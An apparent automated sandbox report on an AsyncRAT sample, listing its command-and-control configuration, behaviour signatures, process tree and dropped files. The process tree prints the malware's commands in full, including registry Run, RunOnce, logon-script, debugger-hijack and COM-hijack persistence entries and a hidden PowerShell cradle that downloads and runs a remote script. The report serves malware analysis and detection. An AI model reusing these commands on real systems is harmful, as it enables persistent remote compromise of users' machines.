Analysis

  • max time kernel
    60s
  • max time network
    62s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 19:15

General

  • Target
    69e1e841b2483e450e2a2db56a2ffa6e602e7d369b84f5ef4ad0f7cc390f3505.exe
  • Size 96KB
  • Sample260930-xymlva1fjf
  • SHA256 69e1e841b2483e450e2a2db56a2ffa6e602e7d369b84f5ef4ad0f7cc390f3505
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://8kbet.sh/load.ps1

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

C2
  • 8kbet.sh:8080

  • 8kbet.sh:443

  • 8kbet.sh:8443

  • 8kbet.sh:80

  • www.8kbet.sh:8080

  • www.8kbet.sh:443

  • www.8kbet.sh:8443

  • www.8kbet.sh:80

Mutex
  • 7shMVFfZmJVl

Attributes
  • delay

    3

  • install

    true

  • install_file

    hidd3ng3m.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

Processes

  • C:\Users\Admin\AppData\Local\Temp\69e1e841b2483e450e2a2db56a2ffa6e602e7d369b84f5ef4ad0f7cc390f3505.exe
    "C:\Users\Admin\AppData\Local\Temp\69e1e841b2483e450e2a2db56a2ffa6e602e7d369b84f5ef4ad0f7cc390f3505.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:4980
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "hidd3ng3m" /tr '"C:\Users\Admin\AppData\Roaming\hidd3ng3m.exe"' & exit
      2⤵
      • Executes a command shell one-liner
      PID:3924
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "hidd3ng3m" /tr '"C:\Users\Admin\AppData\Roaming\hidd3ng3m.exe"'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4764
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF1AE.tmp.bat""
      2⤵
      • Executes a command shell one-liner
      PID:1056
      • C:\Windows\SysWOW64\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:1684
      • C:\Users\Admin\AppData\Roaming\hidd3ng3m.exe
        "C:\Users\Admin\AppData\Roaming\hidd3ng3m.exe"
        3⤵
          PID:2916
    • C:\Users\Admin\AppData\Roaming\hidd3ng3m.exe
      "C:\Users\Admin\AppData\Roaming\hidd3ng3m.exe"
      1⤵
        PID:1728
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
          2⤵
          • Executes a command shell one-liner
          PID:3536
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
            3⤵
              PID:5448
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
            2⤵
            • Executes a command shell one-liner
            PID:4128
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
              3⤵
                PID:4916
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
              2⤵
              • Executes a command shell one-liner
              PID:4284
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
                3⤵
                  PID:1140
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
                2⤵
                • Executes a command shell one-liner
                PID:3276
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
                  3⤵
                    PID:4616
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
                  2⤵
                  • Executes a command shell one-liner
                  PID:2948
                  • C:\Windows\SysWOW64\reg.exe
                    reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
                    3⤵
                      PID:5788
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:4880
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')\"" /f
                      3⤵
                        PID:5308
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.sh/load.ps1')"
                    1⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:5456

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        __PSScriptPolicyTest_akk5ksrd.xgo.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_akk5ksrd.xgo.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        tmpF1AE.tmp.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\tmpF1AE.tmp.bat
                        • Size 153B
                        • SHA256 f01444f0e4dcfadae76d171c7e60e93579c3fba500397d743b8306e7bff90802
                        • MD5 SHA1 SHA512 TLSH

                        hidd3ng3m.exe

                        • Path C:\Users\Admin\AppData\Roaming\hidd3ng3m.exe
                        • Size 96KB
                        • SHA256 69e1e841b2483e450e2a2db56a2ffa6e602e7d369b84f5ef4ad0f7cc390f3505
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1728-12-0x0000000075130000-0x00000000758EC000-memory.dmp

                        memory/1728-14-0x0000000075130000-0x00000000758EC000-memory.dmp

                        memory/4980-0-0x0000000075142000-0x0000000075143000-memory.dmp

                        memory/4980-1-0x0000000000F10000-0x0000000000F2E000-memory.dmp

                        memory/4980-2-0x0000000075130000-0x00000000758EC000-memory.dmp

                        memory/4980-3-0x0000000006320000-0x00000000063BC000-memory.dmp

                        memory/4980-9-0x0000000075130000-0x00000000758EC000-memory.dmp

                        memory/5456-20-0x0000024167FE0000-0x0000024168002000-memory.dmp